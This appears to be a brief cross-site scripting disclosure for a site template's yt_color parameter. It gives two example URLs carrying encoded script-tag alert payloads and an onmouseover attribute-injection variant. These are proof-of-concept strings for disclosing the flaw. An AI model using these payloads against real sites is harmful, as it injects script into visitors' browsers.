http://www.example.com/index.php/inicio?yt_color=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(12346)%3B%3C/ScRiPt%3E
http://www.example.com/index.php?option=com_content&task=view&id=13&Itemid=47&yt_color=%00'%22%3E%3CScRiPt%20%0a%0d%3Ealert(123456)%3B%3C/ScRiPt%3E
The GET variable yt_color can be set to "+onmouseover=alert(123456)+